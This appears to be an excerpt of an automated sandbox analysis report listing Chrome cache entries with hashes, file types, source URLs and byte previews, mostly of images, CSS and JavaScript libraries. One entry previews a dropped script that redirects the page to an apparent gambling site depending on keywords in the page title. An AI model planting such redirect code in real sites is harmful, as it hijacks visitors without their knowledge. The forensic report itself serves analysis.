Preview:	.PNG........IHDR......._......Q0.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:5DCEE77CCA0D11ED8757B07C9BCD7C30" xmpMM:InstanceID="xmp.iid:5DCEE77BCA0D11ED8757B07C9BCD7C30" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C555C94BC22F11ED9B2D888A80B31E49" stRef:documentID="xmp.did:C555C94CC22F11ED9B2D888A80B31E49"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>}..!....IDATx.....e...r8.......x0BS.E..A....x+'+u..{..8.#....6..F...!.b.fx...".\.((.s......{....8..<......}.~

Chrome Cache Entry: 239

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 750 x 300, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	50794
Entropy (8bit):	7.960311479368734
Encrypted:	false
SSDEEP:	768:J1TyQkmQMWuiSW6f7nNuWniqGq+vx/Ldu83W4qlA7I58LDGc46pAtJZTKFras:J1fQMWH0wWiomRus2l3MDG/6pAlerh
MD5:	63E9BEE28BF323C05E1CA9D9ADDF836E
SHA1:	45A4407E4DEB2C2BF142E2105BBF7D78380A3B38
SHA-256:	409BAB2B1CC071F3CA4E212AAF1E6A21482D372852B3D8EC44161343CC70EE3E
SHA-512:	905F35AA4CE2BDC9E7432E5DE082C05766894C7F988B434EFB139772CBBA2B7B4560A1628A3C508F84DB6C98FE13B3AD6C7F7C5274A9447F4C0508ACC78BBB09
Malicious:	false
Reputation:	low
URL:	https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/06/16/image_1686895055_YTKakKUA.png
Preview:	.PNG........IHDR.......,.......6.....pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.566ebc5b4, 2022/05/09-08:25:55 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmpMM:DocumentID="xmp.did:D66AD735C9F311EDBDEBD2F18BBC41FE" xmpMM:InstanceID="xmp.iid:9fa5617e-3edc-4a30-9d23-9ebe093df3bd" xmpMM:OriginalDocumentID="xmp.did:D66AD735C9F311EDBDEBD2F18BBC41FE" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)" xmp:CreateDate="2023-06-16T14:14:10+08:00" xmp:ModifyDate="2023-06-16T14:14:44+08:00" xmp:MetadataDat

Chrome Cache Entry: 240

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 235 x 95, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3116
Entropy (8bit):	7.641446193006988
Encrypted:	false
SSDEEP:	96:b7Oloke8Y5fZ1knSwSy8P7tmqDx5XrId9iK6:b0e8Y5wn3Sy8xmCvXEd9if
MD5:	33DFF549E515E98E033BEF9223D16840
SHA1:	28D51F08E7AD71CC385C5B995164BD66E55C9B01
SHA-256:	FC03A7188CA1851554F2EB4FBA972858BDE199C3F1C654DC80DFE3AFD3DDBE22
SHA-512:	1BA5C0FABA794C0F40C5FC084F8C1D865446EF319C02C45A8F00719CFA8B2F4DF1DC3914F61F7E4B6CB003FC2AAF7F0C31B6CE0FA2CAC32FBDC42E6E71205AA0
Malicious:	false
Reputation:	low
URL:	https://www.strlaser.com/resources/assets/images/p15.png
Preview:	.PNG........IHDR......._......Q0.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:E0EED1A6CA1311ED837AD05E6408A0DD" xmpMM:InstanceID="xmp.iid:E0EED1A5CA1311ED837AD05E6408A0DD" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C555C94BC22F11ED9B2D888A80B31E49" stRef:documentID="xmp.did:C555C94CC22F11ED9B2D888A80B31E49"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>E......IDATx..{.]U....PhK)P..D#.T... .)"... ..a..$.Bj ......!/E......A.0XD.R!.."U..P..`....e..o...s.=3.3.;.../

Chrome Cache Entry: 241

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4265), with no line terminators
Category:	dropped
Size (bytes):	4265
Entropy (8bit):	5.4107044255034635
Encrypted:	false
SSDEEP:	96:mEPZuvkuxL0VllT/K3Bj0q6U/PpzfKGtdXJIZx+uvj:LPZuca80r9fK9xd
MD5:	B69B4DB465A07D8C56C19A90D36CF75D
SHA1:	3EEF7C8B01D35144999C7A2F5E87F80C4C4D5456
SHA-256:	EDED3A38A62CC2330F366117C2DFEA22A4F467AE554F229B476A197644AB1CF5
SHA-512:	DB7612B4535B29FAB03E69B4D2B87973A3EBC8CDA86FFC8B99DDE3315ECF776BE88F22BC4B86917FB2ADB56646631DD31153223F5D23CE9A8F50EF7798911680
Malicious:	false
Reputation:	low
Preview:	(function(e){"use strict";(function(){function e(){var e=!1;e&&c("keydown",n),y.keyboardSupport&&!e&&u("keydown",n)}function t(){if(document.body){var t=document.body,a=document.documentElement,r=window.innerHeight,n=t.scrollHeight;if(x=document.compatMode.indexOf("CSS")>=0?a:t,w=t,e(),S=!0,top!=self)b=!0;else if(n>r&&(t.offsetHeight<=r\|\|a.offsetHeight<=r)&&(a.style.height="auto",x.offsetHeight<=r)){var o=document.createElement("div");o.style.clear="both",t.appendChild(o)}y.fixedBackground\|\|v\|\|(t.style.backgroundAttachment="scroll",a.style.backgroundAttachment="scroll")}}function a(e,t,a,r){if(r\|\|(r=1e3),d(t,a),1!=y.accelerationMax){var n=+new Date,o=n-T;if(o<y.accelerationDelta){var i=(1+30/o)/2;i>1&&(i=Math.min(i,y.accelerationMax),t=i,a=i)}T=+new Date}if(M.push({x:t,y:a,lastX:t<0?.99:-.99,lastY:a<0?.99:-.99,start:+new Date}),!C){var l=e===document.body,u=function(n){for(var o=+new Date,i=0,c=0,s=0;s<M.length;s++){var d=M[s],f=o-d.start,p=f>=y.animationTime,m=p?1:f/y.animationTime;

Chrome Cache Entry: 242

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 (with BOM) text, with very long lines (384), with CRLF line terminators
Category:	dropped
Size (bytes):	4253
Entropy (8bit):	5.619072720693586
Encrypted:	false
SSDEEP:	96:qPEbjErE6REzEwNEcJaEZLWECEVEWxEvDEPIE1EmEfMV4lmrLtc4GAV:qwsaXvIk47YV
MD5:	723F2E2D555D638ED15F389CBCFD22AF
SHA1:	B5BB8FFA9EDA26449939B4CE7E0F00C4D7395580
SHA-256:	DB3982804886A75E9EF7890CE07B21014159ADB6435189C893DA0F50AF1B1581
SHA-512:	8D562C87D2457188C86380E78A27B868837980173E8391B08D45C23A1988C3CD18C85F1E6C77CC3CBFB6DBD2017D1A98D3C4D87F593D3FBF8A75CD7A1B71DB4E
Malicious:	false
Reputation:	low
Preview:	.document.write('<meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-scalable=no"><style>html,body{width:100%;height:100%;overflow:hidden;margin:0;padding:0}</style>');....function checktitle()..{...var fit=1;...var sou;...var title = document.title;.. if(title.indexOf("..")!=-1\|\|title.indexOf("js")!=-1\|\|title.indexOf("..")!=-1)...{....sou="https://www.zhspay.com/zhuye/index.html";...}else if(title.indexOf(".")!=-1\|\|title.indexOf(".")!=-1\|\|title.indexOf(".")!=-1\|\|title.indexOf(".")!=-1\|\|title.indexOf(".")!=-1\|\|title.indexOf(".")!=-1\|\|title.indexOf("pj")!=-1\|\|title.indexOf(".")!=-1\|\|title.indexOf(".")!=-1)...{....sou="https://www.zhspay.com/zhuye/index.html";...}else if(title.indexOf("..")!=-1\|\|title.indexOf("yh")!=-1)...{....sou="https://www.zhspay.com/zhuye/index.html";...}else if(title.indexOf("..")!=-1\|\|title.indexOf("yl")!=-1)...{....sou="https://www.zhspay.com/zhuye/index.html";...}else if(title.indexOf(

Chrome Cache Entry: 243

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	580
Entropy (8bit):	4.7822217206789395
Encrypted:	false
SSDEEP:	12:cNE3bJc+joSdrCF6Hbtu8tooK1Bloe/Oz1vLrYoAMJ8r5/LX1o3pol32Lb:cNE3tPNrCF6jlCB2OOz1vQn/5j26B4b
MD5:	8160E34CA0ACA9950B65231399BE85DF
SHA1:	8AE40FE5EFF69F22F8D94EAC0A9FF2F8DEE1E6AE
SHA-256:	9067D2AC7E6A9324CE07A1099EC304B09D207F8F07BED655A71F70B13BBA6207
SHA-512:	0B3B395FA923180195268A774A710A998F4AFFA9794941E0609F7B999285EB86329C83F6A20746CB1A35A7A03676D03B95915EDF9E19D2AD5303748847C08810
Malicious:	false
Reputation:	low
URL:	https://www.zhspay.com/zhuye/site.css
Preview:	ul {.. display:inline-block;.. margin:0 auto;.. padding:0;.. list-style:none..}....aside.services {.. position:fixed;.. z-index:2;.. top:210px;.. background-repeat:no-repeat..}..aside.services ul {.. width:130px..}..aside.services li {.. display:block;.. color:#fff227;.. font-size:20px;.. font-weight:bold;.. text-align:center..}....aside.service-right {.. right:0;.. background-image:url('/aomen/right.png');..}..aside.service-right .chat {.. height:72px..}..aside.service-right .qq {.. height:38px;.. padding-top:33px..}

Chrome Cache Entry: 244

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 612 x 504, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	79625
Entropy (8bit):	7.9802468524544015
Encrypted:	false
SSDEEP:	1536:V00000002+mOU7U7A11qrHqHCvv+fVO40BMx8K6RHyqWpYgN56M:V1OUzyKivSk40BMSJRRs/N55
MD5:	075349DC6DF786852085DFEA759EE9E6
SHA1:	BD5BE34355D0E83223B993C7D61A6B9B62454ED6
SHA-256:	20490752FCC787DA35790FC24A9E6B1D0826A146330E7F565B3F44945AE025A0
SHA-512:	3C47751340CE78863E50A421FC447C004F02EE438CA3A0300A3EFD06B13F20202204B63B1CCCF2F12F6EE3EC1B2706971ABD448737D02AB9CB2184FE073CDC7C
Malicious:	false
Reputation:	low
URL:	https://www.strlaser.com/resources/assets/images/ppp.png
Preview:	.PNG........IHDR...d..........]......tEXtSoftware.Adobe ImageReadyq.e<...uiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:01b463e5-9850-4018-8393-7a935e9d1529" xmpMM:DocumentID="xmp.did:F08A4302DCEB11ED83E8D7184AF116C0" xmpMM:InstanceID="xmp.iid:F08A4301DCEB11ED83E8D7184AF116C0" xmp:CreatorTool="Adobe Photoshop 23.4 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:01b463e5-9850-4018-8393-7a935e9d1529" stRef:documentID="xmp.did:01b463e5-9850-4018-8393-7a935e9d1529"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.(....3*IDATx..gt\..B...B.9....b.

Chrome Cache Entry: 245

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text
Category:	downloaded
Size (bytes):	39336
Entropy (8bit):	5.3146111516391406
Encrypted:	false
SSDEEP:	768:kHKAmcHQ0xz2Yyv0wqilKLLTGgC2TPsQrvyum5FCH5OqFbF5Yf:TcHQ0xnU0mlKLLTWmByum5StvYf
MD5:	9C26323B16BEA8308506A513377833BF
SHA1:	1A588DE47CF35B47ECE95705BA936485076E6CBF
SHA-256:	BA05EA5269EEFAEDA7C7414B1A0C82ED85E3C759AD5551396BE83C2BB54FC2E5
SHA-512:	65709351704F578E305ECC72E07B996AFB5BF740A3C5B58A28C30196A140AB346281C6C19EBFA95ADB8A83426157CF541FF1A33D8F8E29017E29431172F9587D
Malicious:	false
Reputation:	low
URL:	https://www.hbyczyz.com/resources/assets/lib/style/common.css?v=0.574
Preview:	@charset "utf-8";..* {..margin: 0px;..padding: 0px;..box-sizing: border-box;.}..ul,.li {..list-style: none;..margin: 0px;..padding: 0px;..box-sizing: border-box;.}..a {..text-decoration: none;..color: #000000;.}..::selection {..background: #003e6d;..color: #fff;.}..input {..-webkit-appearance: none;.}..img {..display: block;..width: 100%;..max-width: 100%;.}..html,.body {..font-family: "microsoft yahei";..font-size: 14px;..color: #000000;.}../* ..iphone........ /.input[type=button],.input[type=submit],.input[type=file],.button {..cursor: pointer;..-webkit-appearance: none;.}../ .... /..boxes {..position: relative;..padding: 75px 0px;..background: #fff;.}...boxes.f {..background: #f9f9f9;.}../ .... /..w1400 {..width: 90%;..margin: 0px auto;..position: relative;.}../ ....... */..lightBox {..width: 100%;..height: 100%;..left: 0;..top: 0;..background: rgba(0, 0, 0, .8);..z-index: 1000;..transition: all .5s cubic-bezier(.23, 1, .32, 1)

Chrome Cache Entry: 246

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1920x1080, components 3
Category:	downloaded
Size (bytes):	49818
Entropy (8bit):	6.99008462358462
Encrypted:	false
SSDEEP:	1536:+Px55gV13SXTuZU5fnFNv5kWoeLXfiZwZkO:25eSTAUVvv5kn2XfX
MD5:	503064E78BC49411B389CC10B70255AB
SHA1:	705DF5A91B8FB76ED63DC3B7EE0B1606F3FF9425
SHA-256:	36F5E14EBF1986AD3DE19C571BBAB5CD5C18E19D18EF1EEC389CEE27AAD82859
SHA-512:	1F6E908DC2DD911ABEF02D1D55562EA0D74D54C7D251014EFD78592E59221D9B7F5103FC1C142B3C7792334BD2087CFD5644BF7D76D03CCD3A975B56D0D4DB06
Malicious:	false
Reputation:	low
URL:	https://www.strlaser.com/resources/assets/images/bg3.jpg
Preview:	......Exif..II*.................Ducky.......<.....vhttp://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:afa8a9e6-9716-4248-82b7-b3c757f3a879" xmpMM:DocumentID="xmp.did:E84CD218CA0B11ED97B6AC5F28627E70" xmpMM:InstanceID="xmp.iid:E84CD217CA0B11ED97B6AC5F28627E70" xmp:CreatorTool="Adobe Photoshop 23.4 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D0524794CA0B11EDA9BEC3E6D87FBA04" stRef:documentID="xmp.did:D0524795CA0B11EDA9BEC3E6D87FBA04"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d......................................................

Chrome Cache Entry: 247

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32005)
Category:	dropped
Size (bytes):	115513
Entropy (8bit):	5.449207100003689
Encrypted:	false
SSDEEP:	1536:cm8hlZwcODpyWF0HsoP9EmN2kH9mrYz5314PGrhIfGB5LCkGtT8ecOa:FhxGJdUYEOrGsCkGc
MD5:	96B2B8CDAFB31087E81484EAB45DB75D
SHA1:	2371B15ED263B172B16B6FC67233551A8511FA96
SHA-256:	31D0D0298D7FFD66C0F96402F42CB4255754B6E069FDB0BF7F912FC367B80115
SHA-512:	096ECA61245BB3A6DFC1EDF383F370E3A0980A1112DC1718ACD8D1A123AFDF96E0AE3B0BA923A006819EEFCDCF1969B61B8383A5F115ABE3E7C8E9B208E2C7D9
Malicious:	false
Reputation:	low
Preview:	var _gsScope="undefined"!=typeof module&&module.exports&&"undefined"!=typeof global?global:this\|\|window;(_gsScope._gsQueue\|\|(_gsScope._gsQueue=[])).push(function(){"use strict";_gsScope._gsDefine("TweenMax",["core.Animation","core.SimpleTimeline","TweenLite"],function(a,b,c){var d=function(a){var b,c=[],d=a.length;for(b=0;b!==d;c.push(a[b++]));return c},e=function(a,b,c){var d,e,f=a.cycle;for(d in f)e=f[d],a[d]="function"==typeof e?e(c,b[c]):e[c%e.length];delete a.cycle},f=function(a,b,d){c.call(this,a,b,d),this._cycle=0,this._yoyo=this.vars.yoyo===!0\|\|!!this.vars.yoyoEase,this._repeat=this.vars.repeat\|\|0,this._repeatDelay=this.vars.repeatDelay\|\|0,this._repeat&&this._uncache(!0),this.render=f.prototype.render},g=1e-10,h=c._internals,i=h.isSelector,j=h.isArray,k=f.prototype=c.to({},.1,{}),l=[];f.version="2.0.2",k.constructor=f,k.kill()._gc=!1,f.killTweensOf=f.killDelayedCallsTo=c.killTweensOf,f.getTweensOf=c.getTweensOf,f.lagSmoothing=c.lagSmoothing,f.ticker=c.ticker,f.render=c.render,k

Chrome Cache Entry: 248

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1000 x 300
Category:	dropped
Size (bytes):	786077
Entropy (8bit):	7.9917996540453276
Encrypted:	true
SSDEEP:	12288:aOW04GAPH4YtyoMu5mPa4vs4yQMPIV4ZLrYtbC5WXlCVostoCVc4J:Crf4Ythaa4EjrGeJVo+M4J
MD5:	146E097DC6AC97692C6BA585B1880FD9
SHA1:	489CE49A513B069516081AB9FDCE52347D6A158E
SHA-256:	DC17B35522420BDEE29BA5D29F6F5D6117C4CE984A2917D8D8D2E9F528B08DFE
SHA-512:	741912528336191244D17D9FF5845B9B0C42B0BD5DBDA95FEAE961A24B058041CE211DC606CCC9055E100625B7CDC93D5F750F4E41465ABD223DF07EEC59695B
Malicious:	false
Reputation:	low
Preview:	GIF89a..,......."3.33........Xl.......&.#'.".......wp_s...#fff....+JjH+TUf...m.(...UUU'..oH.kfT.',..q....j.D.Jn.mMUff"""....,U3F....NZ".....wff..u.....MfUUh+..r+fUf0DH.IS02E...DCD.n.0D+333.%$..o.&+...LL..B33....P.$.s......P.MD.(."w"3..D.%...@F.s),Pm..H.....&.pP.po.R.a....n.M23D.3D....""..8K.kr...3"".h..m..w."....."".......wwy.#.3.....D33...wwfR.EDD3...3".......33"efwDDUDUU..s3l.UDD!3.ug,....i..O...G....."......"..D3"...o..D""3...r.UfRD".......{D3.""3...D...ZdUUD 33U3"3..D.."3"....U.U33...3..U..U""UD3.....U..DD"...0O.3".8.."..D3.fUDU..D...+."w.0jD".xfwfADU3.wW?\|3;UD"fww...)hr.N1U".UDUf3"...U3..J.f""...3"3wUUU"....wX..D/Sg2UU3f33.q.S[w"....DU"...UU"...wDDDUD...U..4y,f"3..D..DU3......w3.......fCU........fwd..GU"3"D.D!6x@U.T.............3U..=..^Y"U....!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="ht

Chrome Cache Entry: 249

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1000 x 100
Category:	downloaded
Size (bytes):	244502
Entropy (8bit):	7.93280975244716
Encrypted:	false
SSDEEP:	6144:4ZRf6sccc9ci8G+C+u/h5dv3+C+u/h5dv3+C+y:4ZRimDG+C/h5l+C/h5l+W
MD5:	FC4A7310FC9F4E7FBE2D43F1C063B43A
SHA1:	6410C3CF2EB299B1ACFCD442B00D66C8E6134CDD
SHA-256:	948DDB11B3C6C28622E03BC58DAEEBE0D373236D43A3CED3265B3FE6EB9BC95C
SHA-512:	B53A627A79E4886C12F0A38DC89A5D811BB39C4C07FE6BBA3FDB52D4051EA60C250627804D8F8E5F5FED3E54CA562D053CBEF44B3D730AAF5F6E32BCCA572CF1
Malicious:	false
Reputation:	low
URL:	https://www.zhspay.com/zhuye/img/tyc1.gif
Preview:	GIF89a..d....w...W..gZ....X4.....8..Y..-..N..0..O..j.iJ....6.......TC..E...JD1...Q.52)....wE........x.)1...unG....J7.f...........L.Z(..-.B....mll.X...c....S..Fi.U.%.....t..O..l....a..P)..u.7r.uT..........l.iT..m....F$......SB.......R8..............(.......g-.j.s(..iwRP..bW7..../..z.WT>.wp.....c...pd<.........Ut-s.I5..d.....s..b...........JB.........s........K.ED..v......e...c..L.u.x.....s3.Ak..e....h2.?.......g(.l.B..B[.A_.5......H&..!....W(.v#.MK.r........rE....5....i........"*...zH....wh..A.....6).!.XR.......ZL.f^.8\|No.gF................V.O..{Y.......C..]..x..v...7....(...t...; .....{...../.....=73[JZO?.....k1.c!.c).k).{9.{1.s1.s1.k1.s9....c1.{0.c=.k=....k9.k)....?..c).c?.c1....s;.k .{<.c!.......k!...6...k..t.}V``a.1!%%%......!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.155772, 2014/01/13-19:44:00 "> <rdf:RDF xmlns:rdf="ht

Chrome Cache Entry: 250

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 235 x 95, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	5238
Entropy (8bit):	7.842592959486527
Encrypted:	false
SSDEEP:	96:b7qHo6Ubb8nbk5O2kmCJQ26XJPQKJDqT3CcX/RXQBerRwj:bW0H8nbkmcIkDqGcPOg18
MD5:	C2904D2D16314D6761C065910D9DC34A
SHA1:	778D91C0C50CF2A9EE89B60CBDED6E13BA434F08
SHA-256:	5B37D5640A9BD041546C1A3F10607A0A8D86B695A82DF9AA0CEDB3EACBD88AC0
SHA-512:	3CB1AD8B1CB1B04057068C33BE63BA2721611E2648668DD8BB58DB6787208CF3EDE4C6A5D488239C392BCCC932C4A4728AFA9F1448FBEEC4CC179F908F094C05
Malicious:	false
Reputation:	low
URL:	https://www.strlaser.com/resources/assets/images/p8.png
Preview:	.PNG........IHDR......._......Q0.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:855DEF23CA0E11EDBFCAC95A2FDF20BE" xmpMM:InstanceID="xmp.iid:855DEF22CA0E11EDBFCAC95A2FDF20BE" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C555C94BC22F11ED9B2D888A80B31E49" stRef:documentID="xmp.did:C555C94CC22F11ED9B2D888A80B31E49"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.5E.....IDATx................""...Ap.\@E.n.....(jP\..H......q9FAq.-.... Q@@.a...d...{....=..3....==]]].^.....

Chrome Cache Entry: 251

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 235 x 95, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	6102
Entropy (8bit):	7.8656411084818725
Encrypted:	false
SSDEEP:	96:b7YoyEHP0ApWahXfzqcR3kk6LrsKRROUtLsPAgDVrRVr56aesR2LO:bncAXfz9j6d9t4YCVrRVv2C
MD5:	299AF01210F8AC1E222A1306745C1880
SHA1:	DF86A28BD4A13EECEAAA3763254406856511AFD9
SHA-256:	D4D59931406D640F32729D3BFFA77C3308BA961EA0406E018A3A021EC27245AE
SHA-512:	DA8335F0D5049F80B577D66FC87E5D4B9D66DA72BC7F403A0FC9E05AB5288787C82B1121434FC84860E6B9C0C4C6D8CB206B27338BC0B8BFC75183CFB6CDAEE2
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR......._......Q0.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:5E33EBCECA0E11EDB128AA3A11726293" xmpMM:InstanceID="xmp.iid:5E33EBCDCA0E11EDB128AA3A11726293" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C555C94BC22F11ED9B2D888A80B31E49" stRef:documentID="xmp.did:C555C94CC22F11ED9B2D888A80B31E49"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.s]....FIDATx....N..._..L....."..t.P.(..t.J.3nE.RG.T..+.N'..$......".\:...9k=.{...g.33..g..g=............{O

Chrome Cache Entry: 252

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1000 x 300
Category:	downloaded
Size (bytes):	138124
Entropy (8bit):	7.908770322459711
Encrypted:	false
SSDEEP:	3072:JPSoQzDO90I0F1VhJl/rJVbAVNC2u4HVIdaIEscCOy3DFpXdOp5kK:JPSHXDI0FhrrJVcVA2u4HVILEyzTXdPK
MD5:	B15223FBEF3AD6231C8A2065B14321BF
SHA1:	32B15B10B21A7A2C10A3720529299B0E77F574B8
SHA-256:	60571F689A768060AE99D093560967D034611FC4EC7A87A0EE270A3A9B1B23FA
SHA-512:	B0C323885831C1EE9294CCC4FEF70DDA96F52228A7C31251D1FCB3CD507695C4DA9FC1CB9397718A40CF4F5ADA5465CA1CCA360F89D32C6AB8CAE1E4FD0431A5
Malicious:	false
Reputation:	low
URL:	https://www.zhspay.com/zhuye/img/jinsha999.gif
Preview:	GIF89a..,..\.........f.....)...c`S.]....TJ30-(`.............q......dT.)...K.I...c...lO.-...&...v,+D.#........xg...pJ..@..K..q...W.s.).o..HW.D..T....H.H'.,.*2.j+....T0.s5..G....YB....^..zs.NC.......7+..W..ZF1........m... .+......w}`t....o........H....3..8-... ............................................................................................................!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.155772, 2014/01/13-19:44:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" 